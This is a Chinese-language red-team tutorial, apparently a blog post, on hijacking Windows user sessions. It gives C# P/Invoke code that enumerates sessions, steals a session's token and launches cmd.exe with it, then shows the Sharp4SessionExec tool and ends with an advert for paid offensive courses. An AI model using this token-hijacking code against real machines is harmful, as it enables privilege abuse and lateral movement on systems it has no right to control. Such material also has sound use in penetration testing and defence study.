在内网渗透测试和红队活动中,渗透者通常需要在不同的用户会话之间切换,以模拟不同用户的操作,或者获取更高的权限。例如,攻击者可能通过窃取凭据或利用漏洞获得 SYSTEM 级权限,然后切换到其他低权限会话,执行特定操作,绕过安全监控。
01. 获取所有会话
在 Windows 系统中,WTSEnumerateSessions
是一个 Windows 原生 API,可以用于枚举当前系统中的所有活动会话,具体声明如下所示。
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSEnumerateSessions(
IntPtr hServer,
int Reserved,
int Version,
out IntPtr ppSessionInfo,
out int pCount);
上述参数中 hServer 表明服务器句柄,使用
IntPtr.Zero
表示本地机器。ppSessionInfo 参数表示输出指针,指向会话信息结构体列表。常见的用法示例代码如下所示。
IntPtr pSessions = IntPtr.Zero;
int dwSessionCount = 0;
if (WTSEnumerateSessions(IntPtr.Zero, 0, 1, out pSessions, out dwSessionCount))
{
IntPtr current = pSessions;
for (int i = 0; i < dwSessionCount; ++i)
{
WTS_SESSION_INFO sessionInfo = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO));
Console.WriteLine("Session ID: " + sessionInfo.SessionId);
current += Marshal.SizeOf(typeof(WTS_SESSION_INFO));
}
}
WTSEnumerateSessions
的输出包含多个 WTS_SESSION_INFO
结构体,每个结构体表示当前存在的一个会话。
02. 获取用户令牌
在 Windows 系统中,在获得会话 ID 之后,攻击者需要获取目标会话中用户的令牌,以便模拟该用户的安全上下文,直接在目标会话中执行命令,函数的声明方法如下所示。
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
上述参数中,sessionId 表示目标会话的ID,常见的用法示例代码如下所示。
IntPtr token = IntPtr.Zero;
if (WTSQueryUserToken(1, out token))
{
Console.WriteLine("[+] Token obtained for session 1");
}
else
{
Console.WriteLine("[!] Failed to get token");
}
获取令牌后,可以使用
CreateProcessAsUser
或 DuplicateTokenEx
在指定会话的安全上下文中执行命令。通过令牌劫持,攻击者可以在不同的权限级别之间进行切换。
03. 用户令牌劫持
在成功获取令牌后,
DuplicateTokenEx
和 CreateProcessAsUser
在指定的安全上下文中执行命令。
if (WTSQueryUserToken(1, out token))
{
IntPtr duplicateToken = IntPtr.Zero;
DuplicateTokenEx(token, 0, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, out duplicateToken);
CreateProcessAsUser(duplicateToken, "cmd.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref si, out pi);
}
通过这种方式,攻击者可以以目标用户的权限在指定会话中执行命令。
04. 工具实战用法
Sharp4SessionExec 就是这样一款功能强大的会话劫持工具,允许攻击者在不同会话之间切换,并在目标会话中执行任意命令。利用 Windows API 直接劫持令牌,获取更高权限,并通过会话持久化控制,进一步扩大攻击范围。
4.1 工具用法
使用 Sharp4SessionExec 进行持久化配置非常简单,以SYSTEM身份运行该程序才能切换到目标会话并执行命令。常见用法示例如下所示。
Sharp4SessionExec.exe 1 "whoami;hostname"
在这个示例中,工具将在 ID 为 1 的会话中执行 whoami;hostname 命令,显示当前用户及计算机名称。使用该工具的过程中,系统管理员可以根据当前环境,选择不同的会话 ID 和命令。
综上,Sharp4SessionExec.exe 主要用于内网渗透场景中的权限管理和会话切换。在拥有高权限时,通过切换到普通用户会话执行命令,以模拟低权限用户操作,进行进一步的渗透活动。
05.星球学习资源
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输
这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器。
文章涉及的工具已打包,请加/入/后下/载:https://wx.zsxq.com/group/51121224455454